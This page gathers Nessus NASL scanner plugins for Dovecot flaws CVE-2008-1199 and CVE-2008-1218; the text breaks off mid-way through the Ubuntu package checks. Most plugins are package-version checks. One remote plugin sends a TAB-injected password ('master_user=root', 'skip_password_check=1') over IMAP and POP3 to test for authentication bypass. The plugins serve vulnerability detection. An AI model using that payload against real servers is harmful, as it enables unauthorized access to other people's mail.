Vulnerabilities > CVE-2008-1218 - Credentials Management vulnerability in Dovecot 1.0.7

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-1516. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(31587);
  script_version("1.14");
  script_cvs_date("Date: 2019/08/02 13:32:21");

  script_cve_id("CVE-2008-1199", "CVE-2008-1218");
  script_xref(name:"DSA", value:"1516");

  script_name(english:"Debian DSA-1516-1 : dovecot - privilege escalation");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Prior to this update, the default configuration for Dovecot used by
Debian runs the server daemons with group mail privileges. This means
that users with write access to their mail directory on the server
(for example, through an SSH login) could read and also delete via a
symbolic link mailboxes owned by other users for which they do not
have direct access (CVE-2008-1199 ). In addition, an internal
interpretation conflict in password handling has been addressed
proactively, even though it is not known to be exploitable
(CVE-2008-1218 ).

Note that applying this update requires manual action: The
configuration setting 'mail_extra_groups = mail' has been replaced
with 'mail_privileged_group = mail'. The update will show a
configuration file conflict in /etc/dovecot/dovecot.conf. It is
recommended that you keep the currently installed configuration file,
and change the affected line. For your reference, the sample
configuration (without your local changes) will have been written to
/etc/dovecot/dovecot.conf.dpkg-new.

If your current configuration uses mail_extra_groups with a value
different from 'mail', you may have to resort to themail_access_groups
configuration directive."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469457"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2008-1199"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2008-1218"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2008/dsa-1516"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"For the old stable distribution (sarge), no updates are provided. We
recommend that you consider upgrading to the stable distribution.

For the stable distribution (etch), these problems have been fixed in
version 1.0.rc15-2etch4."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cwe_id(16, 59, 255);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:dovecot");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:4.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/17");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"4.0", prefix:"dovecot-common", reference:"1.0.rc15-2etch4")) flag++;
if (deb_check(release:"4.0", prefix:"dovecot-imapd", reference:"1.0.rc15-2etch4")) flag++;
if (deb_check(release:"4.0", prefix:"dovecot-pop3d", reference:"1.0.rc15-2etch4")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2008-2475.
#

include("compat.inc");

if (description)
{
  script_id(31436);
  script_version ("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:27");

  script_cve_id("CVE-2008-1199", "CVE-2008-1218");
  script_bugtraq_id(28092, 28181);
  script_xref(name:"FEDORA", value:"2008-2475");

  script_name(english:"Fedora 7 : dovecot-1.0.13-18.fc7 (2008-2475)");
  script_summary(english:"Checks rpm output for the updated package.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"This update upgrades dovecot from version 1.0.10 to 1.0.13. Besides
bug fixes, two security issues were fixed upstream in version 1.0.11
and 1.0.13. CVE-2008-1199 If Dovecot was configured with
mail_extra_groups = mail, users having shell access to IMAP server
could use this flaw to read, modify or delete mails of other users
stored in inbox files in /var/mail. /var/mail directory is mail-group
writable and user inbox files are by default created by useradd with
permission 660, <user>:mail. No mail_extra_groups is set by default,
hence default Fedora configuration was not affected by this problem.
If your configuration sets mail_extra_groups, see new options
mail_privileged_group and mail_access_groups introduced in Dovecot
1.0.11. (mail_extra_groups is still accepted, but is deprecated now)
CVE-2008-1218 On Dovecot versions 1.0.11 and newer, it was possible to
gain password-less login via passwords with tab characters, which were
not filtered properly. Dovecot versions in Fedora were not affected by
this unauthorized login flaw, but only by a related minor memory leak
in dovecot-auth worker process. See referenced bugzilla for further
details about this flaw.

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=436927"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=436928"
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2008-March/008720.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?aa34b1a8"
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Update the affected dovecot package."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(16, 59, 255);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:dovecot");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:7");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/13");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^7([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 7.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC7", reference:"dovecot-1.0.13-18.fc7")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2008-2464.
#

include("compat.inc");

if (description)
{
  script_id(31434);
  script_version ("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:27");

  script_cve_id("CVE-2008-1199", "CVE-2008-1218");
  script_bugtraq_id(28092, 28181);
  script_xref(name:"FEDORA", value:"2008-2464");

  script_name(english:"Fedora 8 : dovecot-1.0.13-6.fc8 (2008-2464)");
  script_summary(english:"Checks rpm output for the updated package.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"This update upgrades dovecot from version 1.0.10 to 1.0.13. Besides
bug fixes, two security issues were fixed upstream in version 1.0.11
and 1.0.13. CVE-2008-1199 If Dovecot was configured with
mail_extra_groups = mail, users having shell access to IMAP server
could use this flaw to read, modify or delete mails of other users
stored in inbox files in /var/mail. /var/mail directory is mail-group
writable and user inbox files are by default created by useradd with
permission 660, <user>:mail. No mail_extra_groups is set by default,
hence default Fedora configuration was not affected by this problem.
If your configuration sets mail_extra_groups, see new options
mail_privileged_group and mail_access_groups introduced in Dovecot
1.0.11. (mail_extra_groups is still accepted, but is deprecated now)
CVE-2008-1218 On Dovecot versions 1.0.11 and newer, it was possible to
gain password-less login via passwords with tab characters, which were
not filtered properly. Dovecot versions in Fedora were not affected by
this unauthorized login flaw, but only by a related minor memory leak
in dovecot-auth worker process. See referenced bugzilla for further
details about this flaw.

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=436927"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=436928"
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2008-March/008697.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?72415f05"
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Update the affected dovecot package."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(16, 59, 255);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:dovecot");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:8");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/13");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^8([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 8.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC8", reference:"dovecot-1.0.13-6.fc8")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200803-25.
#
# The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(31612);
  script_version("1.15");
  script_cvs_date("Date: 2019/08/02 13:32:44");

  script_cve_id("CVE-2008-1199", "CVE-2008-1218");
  script_bugtraq_id(28092, 28181);
  script_xref(name:"GLSA", value:"200803-25");

  script_name(english:"GLSA-200803-25 : Dovecot: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200803-25
(Dovecot: Multiple vulnerabilities)

    Dovecot uses the group configured via the 'mail_extra_groups' setting,
    which should be used to create lockfiles in the /var/mail directory,
    when accessing arbitrary files (CVE-2008-1199). Dovecot does not escape
    TAB characters in passwords when saving them, which might allow for
    argument injection in blocking passdbs such as MySQL, PAM or shadow
    (CVE-2008-1218).
  
Impact :

    Remote attackers can exploit the first vulnerability to disclose
    sensitive data, such as the mail of other users, or modify files or
    directories that are writable by group via a symlink attack. Please
    note that the 'mail_extra_groups' setting is set to the 'mail' group by
    default when the 'mbox' USE flag is enabled.
    The second vulnerability can be abused to inject arguments for internal
    fields. No exploitation vectors are known for this vulnerability that
    affect previously stable versions of Dovecot in Gentoo.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200803-25"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All Dovecot users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=net-mail/dovecot-1.0.13-r1'
    This version removes the 'mail_extra_groups' option and introduces a
    'mail_privileged_group' setting which is handled safely."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(16, 59, 255);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:dovecot");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/19");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"net-mail/dovecot", unaffected:make_list("ge 1.0.13-r1"), vulnerable:make_list("lt 1.0.13-r1"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:qpkg_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "Dovecot");
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(31466);
  script_version("1.16");
  script_cvs_date("Date: 2018/11/15 20:50:23");

  script_cve_id("CVE-2008-1218");
  script_bugtraq_id(28181);
  script_xref(name:"Secunia", value:"29295");

  script_name(english:"Dovecot passdbs Argument Injection Authentication Bypass");
  script_summary(english:"Tries to bypass Dovecot authentication");

  script_set_attribute(attribute:"synopsis", value:
"The remote mail server is affected by an authentication bypass
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running Dovecot, an open source IMAP4 / POP3 server
for Linux / Unix. 

The version of Dovecot installed on the remote host uses a TAB
character as a delimiter internally but fails to escape them when they
appear in a password.  Provided Dovecot is configured to use a
blocking passdb, an attacker can leverage this issue to bypass
authentication and gain access to a user's mailbox.");
  script_set_attribute(attribute:"see_also", value:"https://www.dovecot.org/list/dovecot-news/2008-March/000064.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Dovecot v1.0.13 / v1.1.rc3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(255);
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:dovecot:dovecot");
  script_end_attributes();
 
  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("find_service2.nasl");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/imap", 143, "Services/pop3", 110);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("imap_func.inc");
include("misc_func.inc");
include("pop3_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# Test IMAP ports.
port = get_kb_item("Services/imap");
if (!port) port = 143;
if (get_port_state(port) && !get_kb_item("imap/false_imap"))
{
  # Unless we're paranoid, make sure the banner corresponds to Dovecot.
  #
  # nb: this corresponds to 'login_greeting' in dovecot.conf and
  #     is configurable.
  banner = get_imap_banner(port:port);
  if (
    report_paranoia > 1 ||
    (banner && "dovecot ready" >< tolower(banner))
  )
  {
    # Get a list of users to check.
    #
    # nb: for the check to work, we must have a valid user who can normally
    #     authenticate to dovecot; see the discussion about mail users, and
    #     especially UIDs, at <http://wiki.dovecot.org/UserIds>.
    if (get_kb_item("imap/login")) users = make_list(get_kb_item("imap/login"));
    else users = make_list(
      "nobody",
      "nfsnobody"
    );

    # Try to exploit the issue.
    pass = string(SCRIPT_NAME, "\tmaster_user=root\tskip_password_check=1");
    vuln = FALSE;

    foreach user (users)
    {
      # Establish a connection.
      tag = 0;
      soc = open_sock_tcp(port);
      if (soc)
      {
        s = recv_line(socket:soc, length:1024);
        if (strlen(s))
        {
          s = chomp(s);

          # - try the PLAIN SASL mechanism.
          #   nb: RFC 3501 requires this be supported by imap4rev1 servers, although
          #       it may also require SSL / TLS encapsulation.
          resp = NULL;
          ++tag;

          c = strcat("nessus", tag, ' AUTHENTICATE "PLAIN"');
          send(socket:soc, data: c+'\r\n');
          s = recv_line(socket:soc, length:1024);
          s = chomp(s);
          if (s == "+")
          {
            c = base64(str:raw_string(0, user, 0, pass));
            send(socket:soc, data: c+'\r\n');
            while (s = recv_line(socket:soc, length:1024))
            {
              s = chomp(s);
              m = eregmatch(pattern: strcat("^nessus", tag, " (OK|BAD|NO)"), string:s, icase:TRUE);
              if (!isnull(m))
              {
                resp = m[1];

                # There's a problem if we were successful.
                if (resp && resp =~ "^OK") vuln = TRUE;

                break;
              }
              resp = "";
            }
          }
          # - if that didn't work, try LOGIN command.
          if (!resp)
          {
            ++tag;
            c =  strcat("nessus", tag, " LOGIN ", user, ' "', pass, '"');
            send(socket:soc, data: c+'\r\n');
            while (s = recv_line(socket:soc, length:1024))
            {
              s = chomp(s);
              m = eregmatch(pattern:strcat("^nessus", tag, " (OK|BAD|NO)"), string:s, icase:TRUE);
              if (!isnull(m))
              {
                resp = m[1];

                # There's a problem if we were successful.
                if (resp && resp =~ "OK") vuln = TRUE;

                break;
              }
              resp = "";
            }
          }

          # Logout.
          ++tag;
          c = strcat("nessus", tag, " LOGOUT");
          send(socket:soc, data: c+'\r\n');
          while (s = recv_line(socket:soc, length:1024))
          {
            s = chomp(s);
            m = eregmatch(pattern: strcat("^nessus", tag, " (OK|BAD|NO)"), string:s, icase:TRUE);
            if (!isnull(m))
            {
              resp = m[1];
              break;
            }
            resp = "";
          }
        }
        close(soc);

        if (vuln)
        {
          security_warning(port);
          if (thorough_tests) break;
          else exit(0);
        }
      }
    }
  }
}


# Test POP3 ports.
port = get_service(svc: "pop3", default: 110, exit_on_fail: 1);
if (! get_kb_item("pop3/"+port+"/false_pop3"))
{
  # Unless we're paranoid, make sure the banner corresponds to Dovecot.
  banner = get_pop3_banner(port:port);
  if (
    report_paranoia > 1 ||
    (banner && "dovecot ready" >< tolower(banner))
  )
  {
    # Get a list of users to check.
    #
    # nb: for the check to work, we must have a valid user who can normally
    #     authenticate to dovecot; see the discussion about mail users, and
    #     especially UIDs, at <http://wiki.dovecot.org/UserIds>.
    if (get_kb_item("pop3/login")) users = make_list(get_kb_item("pop3/login"));
    else users = make_list(
      "nobody",
      "nfsnobody"
    );

    # Try to exploit the issue.
    pass = strcat(SCRIPT_NAME, '\tmaster_user=root\tskip_password_check=1');
    vuln = FALSE;

    foreach user (users)
    {
      # Establish a connection.
      tag = 0;
      soc = open_sock_tcp(port);
      if (soc)
      {
        s = recv_line(socket:soc, length:1024);
        if (strlen(s))
        {
          s = chomp(s);

          resp = "";
          c = strcat("USER ", user);
          send(socket:soc, data: c+'\r\n');
          while (s = recv_line(socket:soc, length:1024))
          {
            s = chomp(s);
            m = eregmatch(pattern:"^(\+OK|-ERR)( |$)", string:s, icase:TRUE);
            if (!isnull(m))
            {
              resp = m[1];
              break;
            }
            resp = "";
          }
          if (resp && resp =~ "OK") 
          {
            c = strcat("PASS ", pass);
            send(socket:soc, data: c+'\r\n');
            while (s = recv_line(socket:soc, length:1024))
            {
              s = chomp(s);
              m = eregmatch(pattern:"^(\+OK|-ERR)( |$)", string:s, icase:TRUE);
              if (!isnull(m))
              {
                resp = m[1];

                # There's a problem if we were successful.
                if (resp && resp =~ "^\+OK") vuln = TRUE;

                break;
              }
              resp = "";
            }
          }

          # Logout.
          c = "QUIT";
          send(socket:soc, data: c+'\r\n');
          while (s = recv_line(socket:soc, length:1024))
          {
            s = chomp(s);
            m = eregmatch(pattern:"^(\+OK|-ERR)( |$)", string:s, icase:TRUE);
            if (!isnull(m))
            {
              resp = m[1];
              break;
            }
            resp = "";
          }
        }
        close(soc);

        if (vuln)
        {
          security_warning(port);
          if (thorough_tests) break;
          else exit(0);
        }
      }
    }
  }
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Ubuntu Security Notice USN-593-1. The text 
# itself is copyright (C) Canonical, Inc. See 
# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered 
# trademark of Canonical, Inc.
#

include("compat.inc");

if (description)
{
  script_id(31701);
  script_version("1.16");
  script_cvs_date("Date: 2019/08/02 13:33:02");

  script_cve_id("CVE-2008-1199", "CVE-2008-1218");
  script_bugtraq_id(28092, 28181);
  script_xref(name:"USN", value:"593-1");

  script_name(english:"Ubuntu 6.06 LTS / 6.10 / 7.04 / 7.10 : dovecot vulnerabilities (USN-593-1)");
  script_summary(english:"Checks dpkg output for updated packages.");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Ubuntu host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"It was discovered that the default configuration of dovecot could
allow access to any email files with group 'mail' without verifying
that a user had valid rights. An attacker able to create symlinks in
their mail directory could exploit this to read or delete another
user's email. (CVE-2008-1199)

By default, dovecot passed special characters to the underlying
authentication systems. While Ubuntu releases of dovecot are not known
to be vulnerable, the authentication routine was proactively improved
to avoid potential future problems. (CVE-2008-1218).

Note that Tenable Network Security has extracted the preceding
description block directly from the Ubuntu security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://usn.ubuntu.com/593-1/"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Update the affected dovecot-common, dovecot-imapd and / or
dovecot-pop3d packages."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(16, 59, 255);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:dovecot-common");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:dovecot-imapd");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:dovecot-pop3d");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:6.06:-:lts");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:6.10");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:7.04");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:7.10");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/28");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"Ubuntu Security Notice (C) 2008-2019 Canonical, Inc. / NASL script (C) 2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Ubuntu Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/cpu", "Host/Ubuntu", "Host/Ubuntu/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("ubuntu.inc");
include("misc_func.inc");

if ( ! get_kb_item("Host/local_checks_enabled") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/Ubuntu/release");
if ( isnull(release) ) audit(AUDIT_OS_NOT, "Ubuntu");
release = chomp(release);
if (! ereg(pattern:"^(6\.06|6\.10|7\.04|7\.10)$", string:release)) audit(AUDIT_OS_NOT, "Ubuntu 6.06 / 6.10 / 7.04 / 7.10", "Ubuntu " + release);
if ( ! get_kb_item("Host/Debian/dpkg-l") ) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Ubuntu", cpu);

flag = 0;

if (ubuntu_check(osver:"6.06", pkgname:"dovecot-common", pkgver:"1.0.beta3-3ubuntu5.6")) flag++;
if (ubuntu_check(osver:"6.06", pkgname:"dovecot-imapd", pkgver:"1.0.beta3-3ubuntu5.6")) flag++;
if (ubuntu_check(osver:"6.06", pkgname:"dovecot-pop3d", pkgver:"1.0.beta3-3ubuntu5.6")) flag++;
if (ubuntu_check(osver:"6.10", pkgname:"dovecot-common", pkgver:"1.0.rc2-1ubuntu2.3")) flag++;
if (ubuntu_check(osver:"6.10", pkgname:"dovecot-imapd", pkgver:"1.0.rc2-1ubuntu2.3")) flag++;
if (ubuntu_check(osver:"6.10", pkgname:"dovecot-pop3d", pkgver:"1.0.rc2-1ubuntu2.3")) flag++;
if (ubuntu_check(osver:"7.04", pkgname:"dovecot-common", pkgver:"1.0.rc17-1ubuntu2.3")) flag++;
if (ubuntu_check(osver:"7.04", pkgname:"dovecot-imapd", pkgver:"1.0.rc17-1ubuntu2.3")) flag++;
if (ubuntu_check(osver:"7.04", pkgname:"dovecot-pop3d", pkgver:"1.0.rc17-1ubuntu2.3")) flag++;
if (ubuntu_check(osver:"7.10", pkgname:"dovecot-common", pkgver:"1:1.0.5-1ubuntu2.2")) flag++;
if (ubuntu_check(osver:"7.10", pkgname:"dovecot-imapd", pkgver:"1:1.0.5-1ubuntu2.2")) flag++;
